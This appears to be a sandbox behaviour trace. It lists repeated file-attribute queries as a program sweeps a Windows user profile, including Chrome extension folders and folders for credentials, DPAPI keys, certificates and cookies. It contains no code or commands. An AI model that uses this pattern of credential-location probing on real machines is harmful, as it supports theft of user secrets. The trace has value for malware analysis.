File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\MS Project\12\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections\Pbk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Office, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Office\Recent, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Outlook, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Proof, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect\S-1-5-21-1534390919-4215197118-2202912847-1000, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Protect\S-1-5-21-3111613574-2524581245-2586426736-500, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Publisher, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech\Files, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Speech\Files\UserLexicons, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Templates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\UProof, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Cookies, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Cookies\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IECompatCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IECompatCache\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IETldCache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\IETldCache\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Libraries, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Network Shortcuts, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ms, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\nl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\no, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pt_BR, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pt_PT, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ro, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ru, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sv, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\th, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\tr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\uk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\vi, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\zh_CN, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\zh_TW, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_metadata, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\af, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\am, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ar, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\az, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bg, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ca, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\cs, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\da, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\de, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\el, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\en_GB, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\en_US, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\es, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\es_419, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\et, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\eu, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fa, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fi, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fil, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fr_CA, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\gl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\gu, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hi, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hu, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hy, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\id, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\is, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\it, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\iw, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ja, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ka, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\km, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\kn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ko, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lo, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lt, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lv, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ml, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\mn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\mr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ms, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ne, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\nl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\no, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pt_BR, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pt_PT, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ro, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ru, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\si, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sr, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sv, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sw, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ta, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\te, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\th, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Credentials, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Event Viewer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\Microsoft Feeds~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\1NBUR4HR, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\6ASVN7J7, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\D68G7BIJ, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\KQMHSVKD, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\FORMS, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\IME12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\IMJP12, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\IMJP8_1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\IMJP9_0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Internet Explorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Internet Explorer\Recovery, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Internet Explorer\Recovery\Active, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Media Player, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Media Player\Sync Playlists, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\0000E2DF, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00010C6E, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Office, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Office\12.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Office\ONetConfig, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Outlook, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\TaskSchedulerConfig, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Visio, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Burn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Burn\Burn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Burn\Burn1, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Burn\Burn2, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Caches, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\Explorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\GameExplorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\History, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\History\History.IE5, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017101720171018, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Deployment, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\hsperfdata_kFT6uTQW, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\lilo.144, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Low, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Microsoft .NET Framework 4 Setup_4.0.30319, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\outlook logging, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\Setup000006d8, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\WPDNSE, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temp\~nsu.tmp, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Temporary Internet Files, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\VirtualStore, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\Acrobat, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\Acrobat\10.0, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\Acrobat\10.0\Replicate, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\Acrobat\10.0\Replicate\Security, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\ARM, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\ARM\Reader_10.0.0, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Adobe\ARM\Reader_10.0.0\10412, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Application Data, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Desktop, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Documents, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Favorites, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Keyboard, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client, type = file_attributes True 1
